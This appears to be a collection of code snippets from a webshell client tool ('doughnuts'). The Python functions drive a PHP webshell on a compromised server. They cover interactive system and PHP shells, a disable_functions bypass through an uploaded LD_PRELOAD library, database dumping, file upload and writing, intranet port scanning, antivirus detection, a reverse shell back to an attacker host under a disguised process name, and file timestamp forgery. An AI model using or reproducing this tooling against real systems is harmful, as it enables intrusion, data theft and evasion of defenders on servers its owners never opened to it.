Ejemplo n.º 1
0
def set_mode(mode: int, test: bool = False):
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)):
        disable_func_list = gget("webshell.disable_functions", "webshell")
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
            upload_result = upload(
                path.join(getcwd(), "auxiliary", "ld_preload_x86_64.so"), filename, True)
            if (not upload_result):
                return
            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
            if ("putenv" in disable_func_list):
                print(color.red("\nputenv is disabled.\n"))
                return False
            if (not ld_preload_func):
                print(color.red("\nNo ld_preload function!\n"))
                return False
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension!\n"))
            return False
    if (not test):
        if (mode == 7):
            print(color.yellow(f"\nYou may need to wait 1 second to get the result..\n"))
        print(f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n")
        gset("webshell.bypass_df", mode, True, "webshell")
    return True
Ejemplo n.º 2
0
def run(host: str, username: str, password: str, dbname: str = "", port: int = 0, dbms: str = "mysql"):
    """
    db_init

    Initialize the database connection.

    Support dbms:
    - mysql
    - mssql
    - access

    eg: db_init {host} {username} {password} {dbname=''} {port=0} {dbms='mysql'}
    """
    dbms = dbms.lower()
    db_ext = dbms
    res = send(detect_ext("PDO", "mysqli"))
    if (not res):  # 探测是否存在pdo/mysqli扩展
        print("\n" + color.red("Detect error") + "\n")
        return
    text = res.r_text.lower()
    if (dbms == "mysql" and not text):
        print("\n" + color.red("No PDO and mysqli extension") + "\n")
        return
    elif ("pdo" not in text):
        print("\n" + color.red("No PDO extension") + "\n")
        return
    if (dbms in PDO_DMBS_EXT_DICT):
        res = send(detect_ext(*PDO_DMBS_EXT_DICT[dbms]))
        text = res.r_text.strip()
        if (not res):  # 探测pdo支持的mssql扩展
            print("\n" + color.red(f"Detect PDO extension for {dbms} error") + "\n")
            return
        db_ext = text.split(",")[0][4:]
    gset("db_dbms", dbms, True, "webshell")
    gset("db_ext", db_ext, True, "webshell")
    gset("db_connect_type", text.split(",")[0], True, "webshell")
    res = send(get_php(host, username, password, dbname, port))
    if (not res):
        return
    if ("Connect error" in res.r_text):
        print("\n" + color.red(res.r_text.strip()) + "\n")
    else:
        print("\n" + color.green("Connect success"))
        gset("db_connected", True, True, "webshell")
        gset("db_host", host, True, "webshell")
        gset("db_username", username, True, "webshell")
        gset("db_password", password, True, "webshell")
        gset("db_dbname", dbname, True, "webshell")
        gset("db_port", port, True, "webshell")
        info = res.r_text.strip()
        if (info):
            info_list = info.split("\n")
            try:
                gset("db_current_user", info_list[0], True, "webshell")
                gset("db_version", info_list[1], True, "webshell")
                print_db_info()
            except IndexError:
                print("\n" + color.red("Select data error") + "\n")
Ejemplo n.º 3
0
def run(*commands):
    """
    shell

    Get a temporary shell of target system by system function or just run a shell command.
    """
    command = str(value_translation(gget("raw_command_args")))
    if (command):
        res = send(get_system_code(command))
        if (not res):
            return
        print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n")
        return
    print(
        color.cyan(
            "Eenter interactive temporary shell...\n\nUse 'back' command to return doughnuts.\n"
        ))
    res = send(
        f'{get_system_code("whoami")}print("@".$_SERVER["SERVER_NAME"]."|".getcwd());'
    ).r_text.strip()
    prompt, pwd = res.split("|")
    set_namespace("webshell", False, True)
    wordlist = gget("webshell.wordlist")
    readline.set_wordlist(NEW_WINDOWS_WORDLIST if (
        is_windows()) else NEW_UNIX_WORDLIST)
    if is_windows():
        prompt = "%s> "
    else:
        prompt = prompt.replace("\r", "").replace("\n", "") + ":%s$ "
    try:
        while gget("loop"):
            print(prompt % pwd, end="")
            command = str(value_translation(readline()))
            lower_command = command.lower()
            if (lower_command.lower() in ['exit', 'quit', 'back']):
                print()
                break
            if (command == ''):
                print()
                continue
            b64_pwd = base64_encode(pwd)
            if (lower_command.startswith("cd ") and len(lower_command) > 3):
                path = base64_encode(lower_command[3:].strip())
                res = send(
                    f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());'
                )
                if (not res):
                    return
                pwd = res.r_text.strip()
            else:
                res = send(f'chdir(base64_decode(\'{b64_pwd}\'));' +
                           get_system_code(command))
                if (not res):
                    return
                print("\n" + res.r_text.strip() + "\n")
    finally:
        readline.set_wordlist(wordlist)
Ejemplo n.º 4
0
def run(*commands):
    """
    webshell

    Get a webshell of target system or just run a webshell command.
    """
    command = gget("raw_command_args")
    if (command):
        res = send((command))
        if (not res):
            return
        print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n")
        return
    print(
        color.cyan(
            "Eenter interactive temporary webshell...\n\nUse 'back' command to return doughnuts.\n"
        ))
    pwd = send(f'print(getcwd());').r_text.strip()
    set_namespace("webshell", False, True)
    wordlist = gget("webshell.wordlist")
    readline.set_wordlist(NEW_WORDLIST)
    try:
        while gget("loop"):
            print(f"webshell:{pwd} >> ", end="")
            data = readline(b"(")
            lower_data = data.lower()
            if (lower_data.lower() in ['exit', 'quit', 'back']):
                print()
                break
            if (data == ''):
                print()
                continue
            data = base64_encode(data)
            b64_pwd = base64_encode(pwd)
            if (lower_data.startswith("cd ") and len(lower_data) > 3):
                path = base64_encode(lower_data[3:].strip())
                res = send(
                    f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());'
                )
                if (not res):
                    return
                pwd = res.r_text.strip()
            else:
                res = send(
                    f'eval("chdir(base64_decode(\'{b64_pwd}\'));eval(base64_decode(\'{data}\'));");'
                )
                if (not res):
                    return
                print("\n" + res.r_text.strip() + "\n")
    finally:
        readline.set_wordlist(wordlist)
Ejemplo n.º 5
0
def run(database: str = "",
        table: str = "",
        local_path: str = "",
        encoding: str = "utf8"):
    """
    db_dump

    Dump a database or a table to a file, Default file name is {database}.sql.

    eg: db_dump {database=current_database} {local_path=doughnuts/target/site.com/{database}.sql} {encoding="utf-8"}
    """
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    database = database if database else gget("db_dbname", "webshell")
    download_path = local_path or gget("webshell.download_path", "webshell")
    if not path.exists(download_path):
        makedirs(download_path)
    file_name = f"{database}.sql" if (not table) else f"{database}.{table}.sql"
    res = send(get_php(database, table, encoding))
    if (not res):
        return
    text = res.r_text.strip()
    content = res.r_content.strip()
    if (len(text) > 0 and res.status_code == 200):
        file_path = path.join(download_path, file_name).replace("\\", "/")
        with open(file_path, "wb") as f:
            f.write(gzinflate(b64decode(content)))
        print("\n" + color.green(f"Dump {database} to {file_name} success") +
              "\n")
    elif ("Error" in res.r_text):
        print("\n" + color.red(res.r_text.strip()) + "\n")
    else:
        print(color.red("\nError\n"))
Ejemplo n.º 6
0
def run():
    """
    execute

    execute Custom PHP code by notepad/vi.

    eg: execute
    """
    file_name = "tmp" + str(uuid4())
    file_path = gget("webshell.download_path", "webshell").replace(":", "_")
    if not path.exists(file_path):
        makedirs(file_path)
    real_file_path = path.join(file_path, file_name)
    with open(real_file_path, "w"):
        pass
    open_editor(real_file_path)
    with open(real_file_path, "r") as f:
        code = f.read().strip("<?php").strip("?>")
        print(color.yellow("Execute php code..."))
        res = send(code)
        if (not res):
            return
        text = res.r_text.strip()
        print(color.green("\nResult:\n") + text + "\n")
    remove(real_file_path)
Ejemplo n.º 7
0
def run(web_file_path: str):
    """
    write

    Write files directly to the target system by notepad/vi.

    eg: write {web_file_path}
    """
    file_name = path.split(web_file_path)[1]
    file_path = gget("webshell.download_path", "webshell").replace(":", "_")
    if not path.exists(file_path):
        makedirs(file_path)
    real_file_path = path.join(file_path, file_name)
    with open(real_file_path, "w"):
        pass
    open_editor(real_file_path)
    with open(real_file_path, "r") as f:
        result = base64_encode(f.read())
        res = send(
            f"print(file_put_contents('{web_file_path}', base64_decode('{result}')));"
        )
        if (not res):
            return
        text = res.r_text.strip()
        if (match(r"\w+", text) and text != '0'):
            print(color.green(f"\nWrite {web_file_path} success.\n"))
        else:
            print(
                color.red(f"\nWrite {web_file_path} failed.") +
                color.yellow("\n\nResponse:") + f"\n{text}\n")
    remove(real_file_path)
Ejemplo n.º 8
0
def run(host: str,
        username: str,
        password: str,
        dbname: str = "",
        port: int = 0):
    """
    db_init

    Initialize the database connection.
    """
    res = send(get_php(host, username, password, dbname, port))
    if (not res):
        return
    if ("Connect error" in res.r_text):
        print("\n" + color.red(res.r_text.strip()) + "\n")
    else:
        print("\n" + color.green("Connect success"))
        gset("db_connected", True, True, "webshell")
        gset("db_host", host, True, "webshell")
        gset("db_username", username, True, "webshell")
        gset("db_password", password, True, "webshell")
        gset("db_dbname", dbname, True, "webshell")
        gset("db_port", port, True, "webshell")
        info = res.r_text.strip()
        if (info):
            info_list = info.split("\n")
            try:
                gset("db_current_user", info_list[0], True, "webshell")
                gset("db_version", info_list[1], True, "webshell")
                print_db_info()
            except IndexError:
                print("\n" + color.red("Select data error") + "\n")
Ejemplo n.º 9
0
def run(find_path: str = "/usr&/bin"):
    """
    av

    (Only for windows) Detect anti-virus software running on the target system.
    ps: Need to run system commands

    Origin: https://github.com/BrownFly/findAV, https://github.com/gh0stkey/avList
    """
    if (not is_windows()):
        print(color.red("\nTarget system isn't windows\n"))
        return
    res = send(get_system_code("tasklist /svc"))
    if (not res or not res.r_text
            or "No system execute function" in res.r_text):
        print(color.red("\nDetect error\n"))
        return
    with open(path.join(gget("root_path"), "auxiliary", "av", "av.json"),
              "r",
              encoding="utf-8") as f:
        av_processes = loads(f.read())
    flag = 0
    print("\n" + color.green(" " * 37 + "Result"))
    for line in res.r_text.split("\n"):
        process = line.split(' ')[0]
        if process in av_processes:
            flag = 1
            print("    %40s     -     %-30s" %
                  (color.cyan(process), color.yellow(av_processes[process])))
    if (not flag):
        print("    %40s     /      %-30s" %
              (color.green('No anti-virus'), color.red('Not found')))
    print()
Ejemplo n.º 10
0
def run(database: str = "", local_path: str = "", encoding: str = "utf8", blocksize: int = 1000, exclude: str = "", include: str = "", threads: int = 5):
    """
    db_mdump

    Dump a database to a file by block compression and multi threads, Default file name is {database}.sql.
    You can use exclude options to exclude some tables.
    You can also use include options to dump only some tables.

    eg: db_mdump {database=current_database} {local_path=doughnuts/target/site.com/{database}.sql} {encoding="utf-8"} {blocksize=1000} {exclude="",eg="table1,table2"} {include="",eg="table1,table2"} {threads=5}
    """
    global LOCK
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    database = database if database else gget("db_dbname", "webshell")
    download_path = local_path or gget("webshell.download_path", "webshell")
    if not path.exists(download_path):
        makedirs(download_path)
    res = send(get_table_name_php(database))
    if (not res):
        return
    tables = res.r_text.strip()
    with LOCK:
        print(color.yellow(f"\n[Try] Dump {database}\n"))
    with ThreadPoolExecutor(max_workers=threads) as tp:
        all_task = [tp.submit(thread_dump, database, table, encoding, download_path, blocksize, threads) for table in tables.split("\n") if table not in exclude.split(",")] if (
            not include) else [tp.submit(thread_dump, database, table, encoding, download_path, blocksize, threads) for table in tables.split("\n") if table in include.split(",")]
        wait(all_task, return_when=ALL_COMPLETED)
        with LOCK:
            print(color.green(f"\n[Success] Dump {database}\n"))
Ejemplo n.º 11
0
def run(editor: str = ""):
    """
    execute

    execute Custom PHP code by notepad / vi as default or your own editor.

    eg: execute {editor=""}
    """
    file_name = str(uuid4())
    file_path = gget("webshell.download_path", "webshell")
    if not path.exists(file_path):
        makedirs(file_path)
    real_file_path = path.join(file_path, file_name).replace("\\", "/")
    open(real_file_path, "a").close()
    open_editor(real_file_path, editor)
    with open(real_file_path, "r") as f:
        code = f.read()
        if (code.startswith("<?php")):
            code = code[5:]
        if (code.endswith("?>")):
            code = code[:-2]
        print(color.yellow("Execute php code..."))
        res = send(code)
        if (not res):
            return
        text = res.r_text.strip()
        status_code = color.green(str(
            res.status_code)) if res.status_code == 200 else color.yellow(
                str(res.status_code))
        print(
            f"\n{color.green('Result:')}\n[{status_code}] {color.cyan('length')}: {len(text)} \n{text}\n"
        )
    remove(real_file_path)
Ejemplo n.º 12
0
def get_table_row_number(database, table):
    connect_type = gget("db_connect_type", "webshell")
    if (connect_type == "pdo"):
        php = """%s
    if(!$con){
        die("Error : connect to sql failed...");
    }
    $content="";
    $table="%s";
    $table_list = $con->query("select count(*) from $table;");
    $result = $table_list->fetchAll();
    echo $result[0][0];
    """ % (get_db_connect_code(dbname=database), table)
    elif (connect_type == "mysqli"):
        php = """%s
    if(!$con){
        die("Error : connect to sql failed...");
    }
    $table="%s";
    $table_list = mysqli_query($con,"select count(*) from $table;");
    $result = mysqli_fetch_all($table_list);
    echo $result[0][0];
    """ % (get_db_connect_code(dbname=database), table)
    else:
        php = ""
    res = send(php)
    try:
        return int(res.r_text.strip())
    except ValueError:
        return -1
Ejemplo n.º 13
0
def thread_upload(web_file_path: str, data: str, number: int, blocksize: int):
    global UPLOAD_SUCCESS, COLOR_PRINT_LOCK
    retry_time = 5
    try:
        with COLOR_PRINT_LOCK:
            print(color.yellow("[Try] Upload block [%d]" % number))
        if (not UPLOAD_SUCCESS):
            return
        while retry_time:
            res = send(get_php_upload(web_file_path, data, number))
            if (res.r_text.strip() == "success"):
                with COLOR_PRINT_LOCK:
                    print(color.yellow("[Successs] Upload block [%d]" %
                                       number))
                break
            else:
                retry_time -= 1
                with COLOR_PRINT_LOCK:
                    print(color.red("[Failed] Upload block [%d]" % number))
                continue
        if (not retry_time):
            with COLOR_PRINT_LOCK:
                print(color.red("\n[Failed] Upload break [%d]\n" % number))
            UPLOAD_SUCCESS = False
            raise UploadBreakException("")
    except Exception:
        UPLOAD_SUCCESS = False
        raise UploadBreakException("")
Ejemplo n.º 14
0
def run(web_file_path: str,
        local_path: str = "",
        _use_raw_php_to_zip: bool = True):
    """
    dump

    Package and compress files in a folder and download it.

    eg: dump {web_file_path} {local_path=./site.com/...}
    """
    if _use_raw_php_to_zip:
        php = get_raw_php(web_file_path)
    else:
        php = get_zip_php(web_file_path)
    res = send(php)
    if (not res):
        return
    content = res.r_content
    download_path = local_path or gget("webshell.download_path", "webshell")
    if len(content) and res.status_code == 200:
        file_name = (gget("webshell.netloc", "webshell") + ".zip" if
                     (not len(local_path)) else "")
        if not path.exists(download_path):
            makedirs(download_path)
        file_path = path.join(download_path, file_name).replace("\\", "/")
        with open(file_path, "wb") as f:
            f.write(content)
        print(color.green(f"Downloaded file has been saved to {file_path}"))
    else:
        print(color.red("File not exist / Download error"))
Ejemplo n.º 15
0
def run(file_path: str, web_file_path: str = "", force: bool = False):
    """
    upload

    Upload file to target system.

    eg: upload {file_path} {web_file_path=file_name} {force=False}
    """
    flag = True
    if (not web_file_path):
        web_file_path = path.basename(file_path)
        flag = False
    try:
        fp = open(file_path, "rb")
    except FileNotFoundError:
        print("\n" + color.red("Local File not exist") + "\n")
        return
    php = get_php(web_file_path, force)
    res = send(php, files={"file": fp})
    if (not res):
        return
    text = res.r_text.strip()
    if text == "success":
        if (flag):
            print(
                color.green(
                    f"\nUpload {file_path} as {web_file_path} success\n"))
        else:
            print(color.green(f"\nUpload {file_path} success\n"))
        return True
    elif text == "exist":
        print(color.yellow(f"\n{web_file_path} exist\n"))
        return True
    else:
        print("\n" + color.red("Upload error / Privileges not enough") + "\n")
Ejemplo n.º 16
0
def run(path: str = ".", mode: int = 1):
    """
    ls

    List information about the files.

    eg: ls {path=.} {mode=1}

    mode:
      - 1 : scandir
      - 2 : glob
    """
    res = send(get_php(path, mode))
    if (not res):
        return
    info_list = res.r_text.strip().split('\n')
    print('\n'.join(info_list[:3]))
    ls_wordlist = []
    for line in info_list[3:]:
        info = line.split(" ")
        if (len(info) < 7):
            continue
        ls_wordlist.append(info[6])
        prems, name = info[0], info[-1]
        if (prems[0] == 'd'):
            info[-1] = color.cyan(name)
            info[3] = ''
        elif ('x' in prems):
            info[-1] = color.green(name)
        print("%s  %-4s  %-4s  %6s  %s  %s  %s" %
              (info[0], info[1], info[2], info[3], info[4], info[5], info[6]))
    for prefix in PREFIX_LIST:
        readline.add_prefix_wordlist(prefix, ls_wordlist)
Ejemplo n.º 17
0
def run(web_file_path: str, editor: str = ""):
    """
    write

    Write files directly to the target system by notepad / vi as default or your own editor.

    eg: write {web_file_path} {editor=""}
    """
    file_name = str(uuid4())
    file_path = gget("webshell.download_path", "webshell")
    if not path.exists(file_path):
        makedirs(file_path)
    real_file_path = path.join(file_path, file_name).replace("\\", "/")
    open(real_file_path, 'a').close()
    open_editor(real_file_path, editor)
    with open(real_file_path, "r") as f:
        result = base64_encode(f.read())
        res = send(
            f"print(file_put_contents('{web_file_path}', base64_decode('{result}')));"
        )
        if (not res):
            return
        text = res.r_text.strip()
        if (match(r"\d+", text)):
            print(color.green(f"\nWrite {web_file_path} success.\n"))
        else:
            print(color.red(f"\nWrite {web_file_path} failed.\n"))
    remove(real_file_path)
Ejemplo n.º 18
0
def run(
    web_file_path: str,
    local_path: str = "",
) -> bool:
    """
    download

    Download file(s) from target system.

    eg: download {web_file_path} {local_path=./site.com/...}
    """
    php = get_php(web_file_path)
    res = send(php)
    if (not res):
        return
    content = res.r_content
    download_path = local_path or gget("webshell.download_path", "webshell")
    if len(content):
        file_name = path.split(web_file_path)[1]
        if not path.exists(download_path):
            makedirs(download_path)
        file_path = path.join(download_path, file_name)
        with open(file_path, "wb") as f:
            f.write(content)
        print(color.green(f"Downloaded file has been saved to {file_path}"))
        return file_path
    else:
        print(color.red("File not exist / Download error"))
        return ''
Ejemplo n.º 19
0
def run(mode: str, *web_file_paths):
    """
    chmod

    (Only for *unix) Changes file(s) mode.

    eg: chmod {mode} {web_file_path}
    """
    if (is_windows()):
        print(color.red("Target system is windows."))
        return
    mode = str(mode)
    if (len(mode) < 4):
        mode = "0" + mode
    for each_file_path in web_file_paths:
        res = send(
            f"print(chmod(base64_decode('{base64_encode(each_file_path)}'), {mode}));"
        )
        if (not res):
            return
        text = res.r_text.strip()
        if len(text):
            print(
                f"\nchmod {each_file_path} {mode} {color.green('success')}\n")
        else:
            print(f"\nchmod {each_file_path} {mode} {color.red('failed')}\n")
Ejemplo n.º 20
0
def run(ip: str, ports: str, _type: int = 2, timeout: float = 0.5):
    """
    portscan

    Scan intranet ports.

    eg: portscan {ip} {ports} {_type=[socket|file_get_contents|curl]{1|2|3},default = 2} {timeout=0.5}
    """
    if (_type not in [1, 2, 3]):
        print(color.red("\nType error!\n"))
        return
    php = get_php(_type, ip, ports, timeout)
    res = send(php)
    if (not res):
        return
    port_result = res.r_json()
    # ------------------------------------------
    if (len(port_result[0])):
        print(
            color.green('Open') + ' port:\n' + " " * 4 +
            human_friendly_list_print(sorted(port_result[0])) + '\n')
    if (len(port_result[1])):
        print(
            color.red('Close') + ' port:\n' + " " * 4 +
            human_friendly_list_print(sorted(port_result[1])) + '\n')
    if (len(port_result[2])):
        print(
            color.magenta('Timeout') + ' port:\n' + " " * 4 +
            human_friendly_list_print(sorted(port_result[2])) + '\n')
    print("")
Ejemplo n.º 21
0
def run(path: str = "."):
    """
    ls

    List information about the files.

    eg: ls {path=.}
    """
    res = send(get_php(path))
    if (not res):
        return
    info_list = res.r_text.strip().split('\n')
    print('\n'.join(info_list[:3]))
    ls_wordlist = []
    for line in info_list[3:]:
        info = line.split(" ")
        if (len(info) < 7):
            continue
        prems, name = info[0], info[-1]
        if (prems[0] == 'd'):
            info[-1] = color.cyan(name)
            info[3] = ''
        elif ('x' in prems):
            info[-1] = color.green(name)
        print("%s  %-4s  %-4s  %6s  %s  %s  %s" %
              (info[0], info[1], info[2], info[3], info[4], info[5], info[6]))
        ls_wordlist.append(info[6])
    readline.add_wordlist("ls_wordlist", ls_wordlist)
Ejemplo n.º 22
0
def run(lhost: str,
        port: int,
        mode: int = 0,
        fakename: str = "/usr/lib/systemd"):
    """
    reshell

    Bind a local port and wait for target connect back to get a full shell.

    eg: reshell {lhost} {port} {type=[python|upload]{1|2},default = 0 (Python:1 Not Python:2)} {(Only for Mode 2) fakename=/usr/lib/systemd}
    """
    if (is_windows(False) or is_windows()):
        print(color.red(f"Only for both system is linux."))
        return False
    try:
        port = int(port)
    except ValueError:
        port = 23333
    disable_func_list = gget("webshell.disable_functions", "webshell")
    MODE = 1
    print(color.yellow(f"Waring: You are using a testing command...."))
    print(color.yellow(f"        Please make sure Port {port} open...."))
    if (mode == 0):
        if (has_env("python")):
            print(color.green(f"Traget has python environment."))
            MODE == 1
        else:
            print(color.red(f"Traget has not python environment."))
            MODE == 2
    else:
        MODE = int(mode)

    if ("proc_open" in disable_func_list):
        print(color.red("proc_open is disabled... Try Mode 3"))
        return
    if (MODE == 1):
        print(color.yellow(f"Use Mode 1->python"))
        command = get_php(lhost, port)
    else:
        print(color.yellow(f"Use Mode 2->upload"))
        filename = encrypt(f"{lhost}-{port}")
        if not upload(
                path.join(gget("root_path"), "auxiliary", "reshell",
                          "reverse_server_x86_64"), "/tmp/%s" % filename,
                True):
            return
        command = get_system_code(
            f"cd /tmp && chmod +x {filename} && ./{filename} {fakename}",
            False)
    t = Thread(target=delay_send, args=(2, command))
    t.setDaemon(True)
    t.start()
    print(f"Bind port {color.yellow(str(port))}...")
    if (not bind(port, MODE)):
        print(color.red(f"Bind port error."))
    if (MODE == 3):
        res = send(f"unlink('/tmp/{filename}');")
        if (not res):
            return
Ejemplo n.º 23
0
def clean(
    web_file_path: str,
    number: int,
):
    res = send(get_php_clean(web_file_path, number))
    if (not res):
        return False
    return True
Ejemplo n.º 24
0
def execute_sql_command(command, database):
    res = send(get_php(command, database))
    if (not res):
        return ''
    rows = res.r_text.strip().split("\n")
    if (len(rows) > 1):
        info = rows[0].split("*,")[:-1]
        form = PrettyTable(info)
        for row in rows[1:]:
            form.add_row(row.split("*,")[:-1])
        return form
    return ''
Ejemplo n.º 25
0
def run():
    """
    db_shell

    Get a temporary sql shell of target system.
    """
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    print(
        color.cyan(
            "Eenter interactive temporary sql shell...\n\nUse 'back' command to return doughnuts.\n"
        ))
    database = gget("db_dbname", "webshell")
    prompt = "mysql (%s) > "
    set_namespace("webshell", False, True)
    wordlist = gget("webshell.wordlist")
    readline.set_wordlist(NEW_SQL_WORDLIST)
    try:
        while gget("loop"):
            print(prompt % color.cyan(database), end="")
            command = readline()
            lower_command = command.lower()
            if (lower_command.lower() in ['exit', 'quit', 'back']):
                print()
                break
            if (command == ''):
                print()
                continue
            if (lower_command.startswith("use ") and len(lower_command) > 4):
                try:
                    temp_database = match("use ([^;]*);?",
                                          lower_command).group(1)
                    res = send(check_database(temp_database))
                    if ("Connect error" in res.r_text):
                        print("\n" + color.red(res.r_text.strip()) + "\n")
                    else:
                        database = temp_database
                        print("\n" + color.green(
                            f"Change current database: {database}") + "\n")
                except (IndexError, AttributeError):
                    print("\n" + color.red("SQL syntax error") + "\n")
            else:
                form = execute_sql_command(command, database)
                if (form == ''):
                    print("\n" +
                          color.red("Connection Error / SQL syntax error") +
                          "\n")
                else:
                    print(execute_sql_command(command, database))
    finally:
        gset("db_dbname", database, True, "webshell")
        readline.set_wordlist(wordlist)
Ejemplo n.º 26
0
def run(directory: str = ''):
    """
    cd

    Change the working directory.
    """
    res = send(f"chdir(base64_decode('{base64_encode(str(directory))}'));print(getcwd());")
    if (not res):
        return
    pwd = res.r_text.strip()
    gset("webshell.pwd", pwd, namespace="webshell")
    gset("webshell.prompt", f"doughnuts ({color.cyan(gget('webshell.netloc', 'webshell'))}) > ")
Ejemplo n.º 27
0
def run(file_path: str,
        web_file_path: str = "",
        upload_type: int = 0,
        force: bool = False):
    """
    upload

    Upload file to target system.

    eg: upload {file_path} {web_file_path=file_name} {upload_type=0(FILES)/1(file_put_contents)} {force=False}
    """
    filename = path.basename(file_path)
    if (not web_file_path):
        web_file_path = filename
    try:
        fp = open(file_path, "rb")
    except FileNotFoundError:
        print("\n" + color.red("Local File not exist") + "\n")
        return
    if upload_type == 0:
        php = get_php(filename, web_file_path, force)
        res = send(php, files={"file": fp})
    else:
        php = get_php_file_put_contents(filename, web_file_path, force,
                                        b64encode(fp.read()).decode())
        res = send(php)
    if (not res):
        return
    text = res.r_text.strip()
    if "success" in text:
        print(color.green(f"\n{text}\n"))
        return True
    elif "exist" in text:
        print(color.yellow(f"\n{text}\n"))
        return True
    else:
        print("\n" + color.red(
            f"Upload error / Privileges not enough. Result: {text}") + "\n")
Ejemplo n.º 28
0
def get_data(web_file_path: str, n: int, offset: int, blocksize: int):
    global DOWNLOAD_SUCCESS
    retry_time = 5
    res = None
    content = b''
    while retry_time and not content:
        res = send(get_data_php(web_file_path, offset, blocksize))
        retry_time -= 1
        try:
            content = res.r_content.strip()
        except Exception:
            content = b''
            DOWNLOAD_SUCCESS = False
    return (n, content)
Ejemplo n.º 29
0
def run(varname: str):
    """
    getenv

    print PHP environment variables by ini_get.
    """
    disable_func_list = gget("webshell.disable_functions", "webshell")
    if ("ini_get" in disable_func_list):
        print(color.red("ini_get is disabled"))
    else:
        res = send("print(ini_get('%s'));" % varname)
        result = "None" if not res.r_text else res.r_text
        if (not res):
            return
        print(f"\n{varname}:{result}\n")
Ejemplo n.º 30
0
def run(filename: str = ""):
    """
    touch

    Create an empty file or Specify a file whose modification time stamp is the same as a random file in the current directory.

    eg: touch {filename=this_webshell}
    """
    res = send(get_php(filename))
    if (not res):
        return
    text = res.r_text.strip()
    if (match(r"\d+", text)):
        print(color.green(f"\nSuccessfully created an empty file {filename}.\n"))
    elif (len(text) > 0):
        print(color.green(f"\nModify time stamp {text} success\n"))